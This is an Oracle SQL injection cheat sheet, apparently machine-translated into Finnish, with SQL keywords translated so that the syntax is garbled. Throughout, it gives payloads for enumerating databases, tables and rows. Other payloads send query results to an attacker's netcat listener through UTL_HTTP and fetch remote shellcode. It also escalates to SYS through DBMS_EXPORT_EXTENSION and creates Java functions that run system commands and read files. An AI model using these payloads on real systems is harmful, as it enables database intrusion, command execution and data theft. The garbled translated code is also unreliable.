Tätä julkaisua muokattiin viimeksi testin toimesta 24.1.2015 klo 13:01
Kommentti: -- Usean lauseen suoritusta ei tueta, ja liittoutuneet kyselyt ovat tuettuja Tietokantojen nimet, taulukoiden nimet ja sarakkeiden nimet on kaikki isolla kirjattu.
pituus(kenttä) ascii(substr(kenttä, N, 1))
ja (valitse count(*) dualista)>0 -- Määritä, onko se oraakkeli vai ei
Käsky n--
ja 1=2 union select null, null,.....,null dual-- korvaa null N:llä tai 'N':llä
ja 1=2 union select null, (sql-lause) ,.....,null duaalista -- vaihda muotoon (sql-lause) kohdassa 'N'
ja (valitse count(*) all_objects:sta, missä object_name='UTL_HTTP')>0 -- Määritä, tuetaanko UTL_HTTP (vienti-IP tunnetaan)
ja UTL_HTTP.request('http://LocalIP:port'|| (SQL-lause)) =1-- Lähetä viestejä etänä, paikalliseen kuunteluun nc -vv -l -p 1234
SQL-lauseet Valitse banneri sys.v_$versionista, jossa rownum=1 orakkeliversion kyselyyn valitse jäsen v$logfilesta, missä rownum=1 Kysy lokitiedoston polkua (Windows tai Linux) valitse utl_inaddr.get_host_address dualista kysyäksesi tietokannan kuuntelevan IP:n Valitse instance_name v$instanssista kysyäksesi sid-tiedostoa valitse nimi v$tietokannasta Kysy nykyinen tietokantanimi Valitse sys_context ('userenv','current_user') kaksoiskyselytietokannan käyttäjistä Valitse * session_roles missä rownum=1 kysyäksesi nykyisiä käyttöoikeuksia valitse * session_roles missä rownum=1 [ja rooli<>'ensimmäinen käyttöoikeusnimi']
valitse table_name user_tables missä rownum=1 Nykyisen tietokannan ensimmäinen taulukkosegmentti valitse table_name||','|| tablespace_name user_tables missä rownum=1 Ensimmäinen taulukkosegmentti, tietokanta (varmennuksessa se ei välttämättä ole v$database) valitse table_name user_tables, missä rownum=1 ja table_name<>'ensimmäinen taulukkosegmentti' Nykyisen tietokannan toinen taulukkosegmentti
Valitse column_name user_tab_columns -kohdasta, jossa rownum=1 ja table_name='Taulusegmentti' Ensimmäinen kenttä, joka vastaa taulun nimeä valitse column_name user_tab_columns missä rownum=1 ja table_name='Taulusegmentti' sekä column_name<>'Ensimmäinen kenttä' Toinen kenttä, joka vastaa taulukon nimeä
Valitse kenttä taulukkosegmentistä, jossa rownum=1 rikkoo ensimmäisen rivin sisältöä Valitse kenttä taulukkosegmentistä, jossa rownum=1 ja kenttä <> 'ensimmäinen rivi content' paljastaa toisen rivin sisällön
Kirjastojen välinen toiminta Valitse omistaja all_tables, jossa rownum=1 kysyy ensimmäisen tietokannan nimen Valitse omistaja all_tables missä rownum=1 ja omistaja<> 'Ensimmäinen tietokantanimi' kysyäksesi toista tietokantanimeä
valitse table_name all_tables, missä rownum=1 ja owner='tietokannan nimi' Kysy vastaavan tietokannan ensimmäinen taulun nimi Valitse table_name all_tables, jossa rownum=1 ja owner='tietokannan nimi' sekä table_name<>'ensimmäisen taulun nimi' kysyäksesi vastaavan tietokannan toisen taulun nimeä
valitse column_name all_tab_columns -kohdasta, jossa rownum=1 ja owner='tietokannan nimi' sekä table_name='taulukkosegmentti' Ensimmäinen kenttä, joka vastaa taulun nimeä Valitse column_name all_tab_columns, missä rownum=1 ja owner='tietokannan nimi' sekä table_name='taulukkosegmentti' ja column_name<>'ensimmäinen kenttä' Toinen kenttä, joka vastaa taulun nimeä
Valitse kenttä tietokannasta. taulukkosegmentti, jossa rownum=1 rikkoo ensimmäisen rivin sisältöä Valitse kenttä tietokannasta. Taulukon segmentti, jossa rownum=1 ja kenttä <> 'Ensimmäisen rivin sisältö' rikkoo toisen rivin sisällön
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); monilause LOPPU; --','SYS',0,'1',0)--
Jos 'on escaped, käytetään chr():tä.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Monilause || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Jos useat lauseet ovat liian pitkiä, voit kirjoittaa lausunnon verkkosivun tiedostoon ja hakea sen utl_http.request-tiedostolla.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Luo JAVA-paketti SecTest runCMD:tä käytetään järjestelmäkomentojen suorittamiseen ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITA VÄLITÖN''JULISTA PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI''luo tai korvaa ja käännä java-lähdekoodi nimeltä "SecTest" tuonniksi java.io.*; public class SecTest laajentaa Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream()))); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); paluuvoima; }catch(Exception e){return e.toString(); }}}''''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--
readFilea käytetään tiedoston lukemiseen ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITA VÄLITÖN''JULISTA PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI''luo tai korvaa ja käännä java-lähdekoodi nimeltä "SecTest" tuonniksi java.io.*; public class SecTest laajentaa Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); paluuvoima; }catch(Exception e){return e.toString(); }}}''''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--
Myönnä Java-oikeudet ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI ''''aloita dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''execute''''''''); loppu; ''''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--
Luo funktio SecRunCMD-funktio ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI ''''luo tai korvaa funktio SecRunCMD(p_cmd varchar2:ssa) palauttaa varchar2 kielenä java name''''''''SecTest.runCMD(java.lang.String) palauttaa String'''''''' ; ''''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--
SecReadFile-funktio ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITÖN ''''luo tai korvaa funktio SecReadFile(tiedostonimi varchar2:ssa) palauttaa varchar2 kielenä java name''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--
Myönnä lupa julkisen tehtävän suorittamiseen SecRunCMD:lle myönnetään oikeudet ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA TOIMEENPANO VÄLITTÖMÄSTI ''myönnä kaikki SecRunCMD:ssä yleisölle'''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--
SecReadFile ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI ''''myönnä kaikki SecReadFile-tiedostot julkiselle'''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--
Tunnistaa, onko funktio onnistuneesti luotu ja (valitse count(*) all_objects, missä object_name='SECRUNCMD')>0-- ja (valitse count(*) all_objects, missä object_name='SECREADFILE')>0--
Suorita käsky ja '1'<>(valikoitu järjestelmä. SecRunCMD ('Suorita komento') dualista)-- ja '1'<>(valikoitu järjestelmä. SecReadFile('tiedoston fyysinen osoite') dualista)-- tai ja 1=2 union select null,...,sys. SecRunCMD('suorita komento'),...,null dual-- ja 1=2 union select null,...,sys. SecReadFile('tiedoston fyysinen osoite'),...,null dual-- tai ja '1'<>(valitse UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Suorita komento'),' ',' '),'\n',' ')) dualista)-- ja '1'<>(valitse UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Tiedosto fyysinen osoite'),' ',',','\n',' ')) dualista)--
Delete-funktio ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI ''''drop-funktio SecRunCMD'''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)-- ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI ''''pudota funktio SecReadFile'''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)-- |